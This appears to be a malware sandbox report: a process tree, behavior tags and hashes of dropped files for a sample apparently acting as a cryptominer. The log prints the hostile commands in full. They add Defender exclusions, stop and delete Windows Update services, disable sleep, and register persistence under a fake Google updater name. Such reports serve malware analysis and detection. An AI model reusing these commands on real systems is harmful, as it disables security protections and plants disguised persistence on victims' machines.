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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4212
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3988
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1880
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4120
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1728
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4700
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4680
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2784
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:1600
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1036
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4928
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:4756
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:4852
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:4488
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4440
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe etzzkakmg2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1196
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:1000
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe ztzptsnoedioejdw 9iglejqod3hFFxVhkr+WUaol7tpsq+sx3xs4hsVXOg+m/MQNrGWjJxY7q+IriA/on0Hr8KA98LUOT5htKhbexvQM3CPn32BhsKxg1njCTOhUeztmqm8Mu/ZFhejkqTEpJHxOXGbz6fkYGFdYncO7npPPBS03OOiqaTGas+PgMCqGPbreQed32DvfYpa0SQ2FJR9dTs7giUOVM3pXJtMKLvbAgrjXk3uGyZ0rmkqINAQ=2⤵PID:4868
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1800
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start wuauserv1⤵
- Launches sc.exe
PID:4780
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD50ad3b132dcf2c2524fd766fba7f0e8d6
SHA1092f934636f2474ce2ab380b464c1f7d1bc140e4
SHA2567bed9ce9a785e557b8053dea7d43bd68b9de5b087593734968abf86b2cc49ee9
SHA512c5f1251c626de8014e5214f524d29fdcba391d5fdee0b3da1a386bd58e16fdc37174c28af9d45ed1b58c41bfb8a2ba4337bc57720cfca6d0eee5e0f0ddf255dd
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5